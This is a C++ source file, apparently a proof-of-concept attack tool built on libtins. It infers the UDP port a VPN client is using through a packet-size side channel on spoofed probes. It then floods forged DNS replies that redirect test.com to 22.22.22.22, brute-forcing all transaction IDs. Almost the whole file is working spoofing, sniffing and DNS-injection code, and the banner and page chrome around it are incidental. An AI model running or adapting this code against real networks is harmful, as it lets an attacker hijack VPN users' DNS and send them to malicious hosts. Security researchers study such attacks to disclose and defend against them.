You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

615 lines
16 KiB

  1. #include <tins/tins.h>
  2. #include <cassert>
  3. #include <iostream>
  4. #include <string>
  5. #include <unistd.h>
  6. #include <thread>
  7. #include <random>
  8. using std::thread;
  9. using std::cout;
  10. using std::string;
  11. using std::vector;
  12. using namespace Tins;
  13. int current_spoof_port, best_port, chack_count, resp_count, sniff_size;
  14. bool is_running = true;
  15. bool verbose = false;
  16. bool count_resp = false;
  17. bool scanning = false;
  18. bool injecting = false;
  19. bool sniffed_resp = false;
  20. string dest_ip;
  21. string source_ip;
  22. void print_start() {
  23. cout << "meep\n";
  24. usleep(1000000 / 2);
  25. cout << "meep\n";
  26. usleep(1000000 /2);
  27. cout << R"(
  28. __
  29. / \ __
  30. .---. _ / / _.~ \
  31. \ `. / \ / /.-~ __/
  32. `\ \ | | |/ .-~ __
  33. \ \ | | | .'--~~ \
  34. \ \ | | ` ' _______/
  35. \ \ | ` /
  36. .--. \ \ | ` /
  37. \ `.\ \ \ /
  38. `\ \ \ `\ (
  39. \ \ \ > ,-.-.
  40. \ `. \ / | \ \
  41. \ . \ /___| O |O\ ,
  42. .-. \ ; | /` `^-.\.-'`--'/
  43. \ `; | | /
  44. `\ \ | `. `--..____,'
  45. \ `. | `._ _.-'^
  46. \ . / `|`|`
  47. .-.\ / | |
  48. \ `\ / | |
  49. `\ ` | | |
  50. \ | | |
  51. .-. | | |
  52. \ `. \ | |
  53. `\ \ | |
  54. \ \ | |
  55. \_____ :-'~~~~~'-' ;
  56. /____;``-. :
  57. <____( `. ;
  58. \___\ ; .'
  59. /``--'~___.-'
  60. /\___/^/__/
  61. / /' /`/'
  62. \ \ `\ \
  63. `\ \ \ \
  64. \ \ \ \
  65. \ \ \ \
  66. \ \ \ \ ______
  67. \ \ ___\ \'~``______)>
  68. \ \___ _______ __)>
  69. _____\ \'~``______)>
  70. <(_______.._______)>
  71. )";
  72. usleep(1000000);
  73. }
  74. void print_divider(int count) {
  75. int i = 0;
  76. while (i < count) {
  77. if (verbose) cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
  78. i++;
  79. }
  80. }
  81. void print_time() {
  82. int res = system("date");
  83. }
  84. // Used by thread to keep track of last port
  85. // we spoofed to
  86. //
  87. bool handle_send_packet(PDU &some_pdu) {
  88. const IP &ip = some_pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
  89. if (ip.src_addr() == source_ip) current_spoof_port = some_pdu.rfind_pdu<UDP>().dport();
  90. return is_running;
  91. }
  92. // Used by sniffing thread to look for packets
  93. // NAT'ed back to the client that we may have
  94. // spoofed
  95. //
  96. bool handle_packet(PDU &some_pdu) {
  97. const IP &ip = some_pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
  98. // should be looking for a packet from the VPN server and to the VPN client
  99. //
  100. // src ip will be the VPN server and dest ip will be the public address
  101. // of the VPN client
  102. if (ip.src_addr() == dest_ip && !injecting) { // dest_ip should be public VPN IP
  103. const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
  104. //cout << "sniffed packet going from VPN server with port: " << current_spoof_port << ", size: " << payload << " \n";
  105. // 97 is the size of empty UDP packet NAT'ed back to the client so only look for packets that are bigger
  106. //
  107. if (payload >= 97 && payload != 147) { // could be a NAT'ed attacker packet
  108. if (verbose) cout << "sniffed response from VPN server with port: " << current_spoof_port << ", size: " << payload << " \n";
  109. best_port = current_spoof_port;
  110. sniff_size = payload - 97;
  111. sniffed_resp = true;
  112. if (count_resp) resp_count ++;
  113. }
  114. }
  115. return is_running;
  116. }
  117. // Start sniffing things on one of the
  118. // attack router interfaces
  119. //
  120. void sniff_stuff() {
  121. SnifferConfiguration config;
  122. config.set_promisc_mode(true);
  123. Sniffer sniffer("enp0s8", config);
  124. sniffer.sniff_loop(handle_packet);
  125. }
  126. // Sniff outgoing interface for packets we send
  127. // to get a better approx of the last packet sent
  128. //
  129. void sniff_send_stuff() {
  130. SnifferConfiguration config;
  131. config.set_promisc_mode(true);
  132. Sniffer sniffer("any", config);
  133. sniffer.sniff_loop(handle_send_packet);
  134. }
  135. // Generate random string of some length to send
  136. // in attack probes
  137. //
  138. std::string random_string(std::size_t length) {
  139. const std::string CHARACTERS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
  140. std::random_device random_device;
  141. std::mt19937 generator(random_device());
  142. std::uniform_int_distribution<> distribution(0, CHARACTERS.size() - 1);
  143. string random_string;
  144. for (std::size_t i = 0; i < length; ++i) {
  145. random_string += CHARACTERS[distribution(generator)];
  146. }
  147. return random_string;
  148. }
  149. // Spread udp packets across a given port
  150. // range while increasing the size each time
  151. //
  152. int port_spread(string source_ip, int sport, string dest_ip, int start_port, int end_port) {
  153. PacketSender sender;
  154. NetworkInterface iface("enp0s9");
  155. IP pkt = IP(dest_ip, source_ip) / UDP(40409, sport);
  156. UDP& udp = pkt.rfind_pdu<UDP>();
  157. int current_port = best_port;
  158. int spoof_port = start_port;
  159. int send_size = 0;
  160. int send_count = 0;
  161. string send_payload = random_string(send_size);
  162. cout << "spreading the port range from " << start_port << " to " << end_port << " with udps..\n";
  163. while (spoof_port < end_port && !sniffed_resp) {
  164. IP pkt = IP(dest_ip, source_ip) / UDP(spoof_port, sport) / RawPDU(send_payload);
  165. current_spoof_port = spoof_port;
  166. int round_sends = 0;
  167. while (round_sends < 4) { // send 4 at a time then sleep again
  168. IP pkt = IP(dest_ip, source_ip) / UDP(spoof_port, sport) / RawPDU(send_payload);
  169. udp.dport(spoof_port);
  170. current_spoof_port = spoof_port;
  171. sender.send(pkt, iface);
  172. spoof_port++;
  173. send_size ++;
  174. round_sends ++;
  175. send_payload = random_string(send_size);
  176. if (send_size >= 1000) { // reset probe size back to 0 on every 1000th port
  177. send_size = 0;
  178. if (verbose) cout << "Sent w size 1000 to " << spoof_port << "\n";
  179. }
  180. }
  181. // if the payload size reaches 1000 (max), reset back to 0
  182. if (send_size >= 1000) {
  183. send_size = 0;
  184. if (verbose) cout << "Sent w size 1000 to " << spoof_port << "\n";
  185. }
  186. usleep(25); // scan send delay *** working w 30 before
  187. }
  188. if (!sniffed_resp) usleep(1000000 / 3); // wait a third of a second just in case it was at the very top of the port range (i.e. ~61k)
  189. current_port = best_port;
  190. if (verbose) cout << "finished round 1 w guessed port: " << current_port << "\n";
  191. if (verbose) cout << "size of round 1 response: " << sniff_size << "\n";
  192. if (!sniffed_resp) current_port = 0;
  193. return current_port;
  194. }
  195. // Send to the range of approximate ports
  196. // again with different sizes to find the exact
  197. // one in use
  198. //
  199. int find_exact_port(int block_port, int last_port, int last_size, string source_ip, int sport, string dest_ip) {
  200. // Using the size of the first round response we know we're within
  201. // about 16 ports of the exact one in use but because of the delay it
  202. // could be in one of a few different 1k blocks
  203. PacketSender sender;
  204. NetworkInterface iface("enp0s9");
  205. int block_start = block_port - 10000 + last_size; // start 10 thousand blocks back plus the sniff size
  206. int spoof_port = block_start - 3;
  207. int max_port = spoof_port + 16; // only check 16 ports in each thousand block
  208. int send_size = 0;
  209. int current_port = 0;
  210. string send_payload = random_string(0);
  211. sniffed_resp = false;
  212. IP pkt = IP(dest_ip, source_ip) / UDP(40409, sport);
  213. UDP& udp = pkt.rfind_pdu<UDP>();
  214. while (!sniffed_resp && spoof_port < (block_port + 1000)) {
  215. send_payload = random_string(send_size);
  216. IP pkt = IP(dest_ip, source_ip) / UDP(spoof_port, sport) / RawPDU(send_payload);
  217. current_spoof_port = spoof_port;
  218. udp.dport(spoof_port); // set the packets dest port to current guess
  219. if (verbose) cout << "sending to port: " << (spoof_port) << " w size: " << send_size << "\n";
  220. sender.send(pkt, iface);
  221. spoof_port++;
  222. send_size += 5;
  223. if (spoof_port > max_port) {
  224. spoof_port += (1000 - 17); // jump to the next thousand block
  225. max_port = spoof_port + 16;
  226. }
  227. usleep(2000);
  228. }
  229. while (!sniffed_resp) {
  230. usleep(500000);
  231. if (verbose) cout << "waiting for round 2 resp..\n";
  232. }
  233. current_port = best_port;
  234. if (verbose) cout << "size of round 2 response: " << sniff_size << "\n";
  235. if (verbose) print_divider(2);
  236. bool found = false;
  237. // Go over the exact same loop as round 2 without sending
  238. // until we find the port that would have triggered the size
  239. // that was sniffed
  240. spoof_port = block_start - 3;
  241. max_port = spoof_port + 16;
  242. send_size = 0;
  243. while (!found && spoof_port < (block_port + 1000)) {
  244. if (send_size > sniff_size) {
  245. // we just passed the port that matched the connection
  246. if (verbose) cout << "port on size match: " << spoof_port << "\n";
  247. current_port = spoof_port;
  248. found = true;
  249. }
  250. spoof_port++;
  251. send_size += 5;
  252. if (spoof_port > max_port) {
  253. spoof_port += (1000 - 17);
  254. max_port = spoof_port + 16;
  255. }
  256. }
  257. // Do one final scan within +-3 ports of approx to make sure
  258. // we have the exact port in use
  259. int start_port = current_port - 3;
  260. spoof_port = start_port;
  261. max_port = spoof_port + 6;
  262. send_size = 0;
  263. sniffed_resp = false;
  264. while (!sniffed_resp && spoof_port < max_port) {
  265. send_payload = random_string(send_size);
  266. IP pkt = IP(dest_ip, source_ip) / UDP(spoof_port, sport) / RawPDU(send_payload);
  267. current_spoof_port = spoof_port;
  268. udp.dport(spoof_port); // set the packets dest port to current guess
  269. if (verbose) cout << "sending final round spoof to port: " << (spoof_port) << " w size: " << send_size << "\n";
  270. sender.send(pkt, iface);
  271. spoof_port += 1;
  272. send_size += 240;
  273. }
  274. while (!sniffed_resp) {
  275. usleep(500000);
  276. if (verbose) cout << "waiting for final exact scan resp..\n";
  277. }
  278. current_port = best_port;
  279. if (verbose) cout << "size of final exact response: " << sniff_size << "\n";
  280. int exact = start_port + (sniff_size / 240);
  281. //cout << "FINAL EXACT PORT: " << exact << "\n\n";
  282. return exact;
  283. }
  284. // Spread udp packets across a port range to find the estimated
  285. // port in use that forwards packet back to the client, then repeat the
  286. // scan in the estimated range to find the exact one in use
  287. //
  288. int scan_for_port(string source_ip, int sport, string dest_ip, int start_port, int end_port) {
  289. PacketSender sender;
  290. NetworkInterface iface("enp0s9");
  291. int i;
  292. // Find the estimated port
  293. scanning = true;
  294. int current_port = port_spread(source_ip, sport, dest_ip, start_port, end_port);
  295. scanning = false;
  296. if (current_port == 0) return 0;
  297. int j = 0;
  298. int exact_port = 0;
  299. if (verbose) print_divider(2);
  300. sniffed_resp = false;
  301. cout << "estimated port: " << current_port << " w sniff size: " << sniff_size << "\n";
  302. int last_port = current_port;
  303. int block_port = last_port;
  304. while (block_port % 1000 != 0) {
  305. block_port --;
  306. }
  307. if (verbose) cout << "highest port block: " << block_port << "\n";
  308. // Find the exact port in use
  309. int exact = find_exact_port(block_port, last_port, sniff_size, source_ip, sport, dest_ip);
  310. if (verbose) cout << "some exact port? " << exact << "\n";
  311. exact_port = exact;
  312. return exact_port;
  313. }
  314. // Not used now but could be added to recheck X times that a
  315. // port is truly in use and forwarding packets back to the client
  316. //
  317. int recheck_port(int num_checks, int approx_port, string source_ip, int sport, string dest_ip) {
  318. PacketSender sender;
  319. NetworkInterface iface("enp0s9");
  320. IP pkt = IP(dest_ip, source_ip) / UDP(40409, sport); /// RawPDU("long message here actually a whole lot longer than the other one");
  321. UDP& udp = pkt.rfind_pdu<UDP>();
  322. bool is_found = false;
  323. int curr_port = approx_port - 1;
  324. while (!is_found){
  325. cout << "rechecking port: " << curr_port << "\n";
  326. udp.dport(curr_port); // set the packets dest port to current guess
  327. for (int i = 0; i < num_checks; i ++) {
  328. sender.send(pkt, iface);
  329. usleep(1000);
  330. }
  331. if (resp_count == num_checks) {
  332. is_found = true;
  333. } else {
  334. curr_port ++;;
  335. usleep(300000);
  336. }
  337. }
  338. int final_port = best_port;
  339. int other_final = curr_port - 1;
  340. cout << "maybe better final approx? " << other_final << "\n";
  341. return final_port;
  342. }
  343. // Attempt to inject the dns response to the given 4 tuple (src_ip, sport, dest_ip, dport)
  344. // while cycling through all possible txIDs for the dns reply
  345. //
  346. int send_dns(string src_ip, int sport, string dest_ip, int dport) {
  347. PacketSender sender;
  348. NetworkInterface iface("enp0s10");
  349. IP pkt = IP(dest_ip, src_ip) / UDP(dport, sport) / DNS();
  350. cout << "Attempting to inject dns response on port " << dport << "\n\n";
  351. string spoof_domain = "test.com";
  352. string redirect_ip = "22.22.22.22";
  353. injecting = true;
  354. // Add the fake response
  355. pkt.rfind_pdu<DNS>().add_query({ spoof_domain, DNS::A, DNS::IN });
  356. pkt.rfind_pdu<DNS>().add_answer(
  357. DNS::resource(
  358. spoof_domain,
  359. redirect_ip, // some bad guy IP we wanna redirect to
  360. DNS::A,
  361. 1, // class of the record??
  362. // 777 is just a random TTL
  363. 777
  364. )
  365. );
  366. // We want the query to be resolverd recursively
  367. pkt.rfind_pdu<DNS>().type(DNS::QRType::RESPONSE);
  368. pkt.rfind_pdu<DNS>().recursion_desired(1);
  369. pkt.rfind_pdu<DNS>().recursion_available(1);
  370. int round_sends = 0;
  371. int id = 1;
  372. int num_blocks = 6;
  373. int block_size = int(65535 / num_blocks); // 65535 is max transaction id for dns
  374. while (id < block_size) { // try every txId in the block
  375. int send_id = id;
  376. while (round_sends < num_blocks) { // send once to each block
  377. pkt.rfind_pdu<DNS>().id(send_id); // set the transaction id guess
  378. sender.send(pkt, iface);
  379. send_id += block_size;
  380. round_sends ++;
  381. }
  382. if (id % 1000 == 0) cout << "sending dns response w id: " << id << "\n";
  383. id ++;
  384. round_sends = 0;
  385. usleep(100); // was working 100% w 250
  386. }
  387. return 1;
  388. }
  389. int find_ports(string source_ip, int sport, string dest_ip, int start_port, int end_port) {
  390. bool is_found = false;
  391. int current_port = 0;
  392. int last_port = start_port;
  393. while (!is_found) {
  394. sniffed_resp = false;
  395. print_time();
  396. int exact_port = scan_for_port(source_ip, sport, dest_ip, last_port, end_port);
  397. print_divider(2);
  398. if (exact_port == 0) is_found = true;
  399. else {
  400. cout << "found exact port: " << exact_port << "\n\n";
  401. print_time();
  402. send_dns(source_ip, sport, dest_ip, exact_port);
  403. usleep(1000000);
  404. injecting = false;
  405. }
  406. resp_count = 0;
  407. print_divider(1);
  408. int next_port = exact_port + 2;
  409. while (next_port % 1000 != 0) {
  410. next_port ++;
  411. }
  412. last_port = next_port;
  413. }
  414. return 1;
  415. }
  416. int main(int argc, char** argv) {
  417. if (argc != 6) {
  418. cout << "sike wrong number of args ---> (source_ip, sport, dest_ip, start_port, end_port)\n";
  419. return 0;
  420. }
  421. source_ip = argv[1]; // dns server IP
  422. int sport = atoi(argv[2]); // most likely 53
  423. dest_ip = argv[3]; // vpn server IP
  424. //verbose = true;
  425. int start_port = atoi(argv[4]); // Linux ephemeral range is (32768, 60999)
  426. int end_port = atoi(argv[5]);
  427. print_divider(2);
  428. thread sniff_thread(sniff_stuff);
  429. thread send_sniff_thread(sniff_send_stuff);
  430. int res = find_ports(source_ip, sport, dest_ip, start_port, end_port);
  431. sniff_thread.detach();
  432. send_sniff_thread.detach();
  433. return 1;
  434. }